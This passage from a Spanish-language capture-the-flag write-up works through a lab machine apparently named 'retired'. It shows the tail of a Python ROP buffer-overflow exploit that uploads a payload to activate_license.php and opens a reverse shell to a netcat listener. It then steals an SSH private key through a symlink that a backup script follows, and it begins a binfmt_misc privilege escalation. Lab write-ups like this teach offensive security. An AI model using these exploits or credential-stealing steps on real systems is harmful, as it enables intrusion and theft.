&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += b&lt;span style="color:#e6db74"&gt;&amp;#39;A&amp;#39;&lt;/span&gt; * offset &lt;span style="color:#75715e"&gt;# Relleno basura hasta llegar al RIP (Instruction Pointer)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# BUCLE DE ESCRITURA (Write-What-Where)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Divide el comando en trozos de 8 bytes y los escribe en la memoria .data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, len(cmd), &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; chunk = cmd[i:i+&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;] &lt;span style="color:#75715e"&gt;# Coger 8 letras del comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso A: Decirle DÓNDE escribir (RDI = dirección .data + desplazamiento)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += p64(writable + i)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso B: Decirle QUÉ escribir (RDX = las 8 letras)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += chunk.ljust(&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;, b&lt;span style="color:#e6db74"&gt;&amp;#34;\x00&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Paso C: Ejecutar la escritura (Mover RDX dentro de [RDI])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += mov_gadget
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 6. EJECUCIÓN FINAL ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Ahora que el comando está escrito en la memoria &amp;#39;writable&amp;#39;, lo ejecutamos.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += pop_rdi &lt;span style="color:#75715e"&gt;# Poner en RDI la dirección donde escribimos el comando&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += p64(writable)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; rop += system_addr &lt;span style="color:#75715e"&gt;# Llamar a system() -&amp;gt; system(&amp;#34;tu_comando&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# --- 7. EMPAQUETADO Y ENVÍO ---&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Guardamos el ROP en un archivo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; filename = &lt;span style="color:#e6db74"&gt;&amp;#39;revshell.key&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; with open(filename, &lt;span style="color:#e6db74"&gt;&amp;#39;wb&amp;#39;&lt;/span&gt;) as f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f.write(rop)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Payload generado en {filename}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Enviando petición a http://{rhost}/activate_license.php ...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Preparamos la subida del archivo tal como lo espera el PHP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; files = {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;licensefile&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; (filename, open(filename, &lt;span style="color:#e6db74"&gt;&amp;#34;rb&amp;#34;&lt;/span&gt;), &lt;span style="color:#e6db74"&gt;&amp;#39;application/octet-stream&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Enviamos el POST. El PHP leerá el archivo y activará el buffer overflow.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; requests.post(f&lt;span style="color:#e6db74"&gt;&amp;#34;http://{rhost}/activate_license.php&amp;#34;&lt;/span&gt;, files=files)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Exploit enviado. ¡Revisa tu listener (nc -lvnp 7777)!&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[-] Error enviando exploit: {e}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Punto de entrada del script&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ == &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(argv) &amp;lt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Uso: python3 {argv[0]} &amp;lt;RHOST&amp;gt; &amp;lt;LHOST&amp;gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;Ejemplo: python3 exploit.py 10.129.227.96 10.10.15.44&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perform_rce(argv[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;], argv[&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tenemos reverse shell.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-808d-a79d-c257407572fb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-dev-vía-servicio-de-backups"&gt;Escalada a &lt;code&gt;dev&lt;/code&gt; vía servicio de backups&lt;/h3&gt;
&lt;p&gt;Enumerando en busca de credenciales (queremos acceso a &lt;code&gt;dev&lt;/code&gt;), en &lt;code&gt;/var/www&lt;/code&gt; vemos &lt;code&gt;.zip&lt;/code&gt; que parecen backups. No hay mucho directo, pero hay timers configurados.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8099-8ee6-cb9ed6568d55.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Nos llama la atención el &lt;code&gt;backup service&lt;/code&gt;, porque se ejecuta como &lt;code&gt;dev&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8030-b9ce-eeff7eb4a16b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;El script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;www-data@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/www$ cat /usr/bin/webbackup
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/bin/bash&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;set -euf -o pipefail
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/www/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SRC=/var/www/html
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DST=&lt;span style="color:#e6db74"&gt;&amp;#34;/var/www/&lt;/span&gt;$(date +&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;Y-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;m-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;d_&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;H-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;M-&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;S)&lt;span style="color:#e6db74"&gt;-html.zip&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/rm --force -- &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$DST&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/zip --recurse-paths &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$DST&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$SRC&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KEEP=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/usr/bin/find /var/www/ -maxdepth &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -name &lt;span style="color:#e6db74"&gt;&amp;#39;*.zip&amp;#39;&lt;/span&gt; -print0 \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | sort --zero-terminated --numeric-sort --reverse \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; | &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; IFS= read -r -d &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; backup; &lt;span style="color:#66d9ef"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; [ &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$KEEP&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;-le&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; ]; then
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; /usr/bin/rm --force -- &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$backup&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; KEEP=&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;$((KEEP-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;))&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; done
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La idea es aprovechar cómo &lt;code&gt;zip&lt;/code&gt; trata enlaces simbólicos cuando corre como &lt;code&gt;dev&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;El sistema arranca el script como el usuario &lt;strong&gt;&lt;code&gt;dev&lt;/code&gt;&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zip&lt;/code&gt; empieza a comprimir &lt;code&gt;/var/www/html&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;zip&lt;/code&gt; se encuentra con un enlace simbólico.&lt;/li&gt;
&lt;li&gt;El comportamiento por defecto de &lt;code&gt;zip&lt;/code&gt; es seguir enlaces simbólicos y archivar el destino.&lt;/li&gt;
&lt;li&gt;Como el script corre como &lt;strong&gt;&lt;code&gt;dev&lt;/code&gt;&lt;/strong&gt;, tiene permisos de lectura sobre &lt;code&gt;/home/dev&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El &lt;code&gt;.zip&lt;/code&gt; generado en &lt;code&gt;/var/www/&lt;/code&gt; puede incluir ficheros de &lt;code&gt;dev&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Creamos el symlink. No me ha funcionado apuntando a todo &lt;code&gt;/home/dev&lt;/code&gt;, así que apuntamos directamente a la clave SSH.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ln -s /home/dev/.ssh/id_rsa ssh_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;unzip &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-16_11-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-html.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Archive&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-16_11-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;06&lt;/span&gt;-html.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; inflating&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; var/www/html/ssh_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;....
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto conseguimos &lt;code&gt;user flag&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8049-9095-d5d1ee0ba4bf.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="escalada-a-root-binfmt_misc--capabilities"&gt;Escalada a root: binfmt_misc + capabilities&lt;/h3&gt;
&lt;p&gt;En el directorio de &lt;code&gt;dev&lt;/code&gt; encontramos un proyecto en C.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8060-85ef-cfbb8cef92cd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;emuemu.c&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat emuemu.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/* currently this is only a dummy implementation doing nothing */
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;int main(void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; puts(&lt;span style="color:#e6db74"&gt;&amp;#34;EMUEMU is still under development.&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y otro archivo que permite escribir en &lt;code&gt;binfmt_misc/register&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat reg_helper.c
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#define _GNU_SOURCE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;sys/stat.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include &amp;lt;unistd.h&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;int main(void) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; char cmd[&lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;] = { &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;] = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; int fd = open(&lt;span style="color:#e6db74"&gt;&amp;#34;/proc/sys/fs/binfmt_misc/register&amp;#34;&lt;/span&gt;, O_WRONLY);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt; == fd)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;open&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;write&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (close(fd) == &lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; perror(&lt;span style="color:#e6db74"&gt;&amp;#34;close&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encontramos la idea en “HackTricks”:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/sys/fs/binfmt_misc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/sys/fs/binfmt_misc allows executing miscellaneous binary formats, which typically means various interpreters can be registered &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; non-native binary formats (such as Java) based on their magic number. You can make the kernel execute a binary registering it as handlers.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;You can find an exploit &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; https&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//github.com/toffan/binfmt_misc&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Poor man&lt;span style="color:#e6db74"&gt;&amp;#39;s rootkit, leverage binfmt_misc&amp;#39;&lt;/span&gt;s credentials option to escalate privilege through any suid binary (and to get a root shell) &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; /proc/sys/fs/binfmt_misc/register is writeable.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Del &lt;code&gt;Makefile&lt;/code&gt; se ve que &lt;code&gt;reg_helper&lt;/code&gt; se instala en &lt;code&gt;/usr/lib/emuemu&lt;/code&gt; y recibe &lt;code&gt;cap_dac_override&lt;/code&gt;, permitiendo escribir en el register.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev@retired&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~/emuemu$ cat Makefile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CC &lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;= gcc
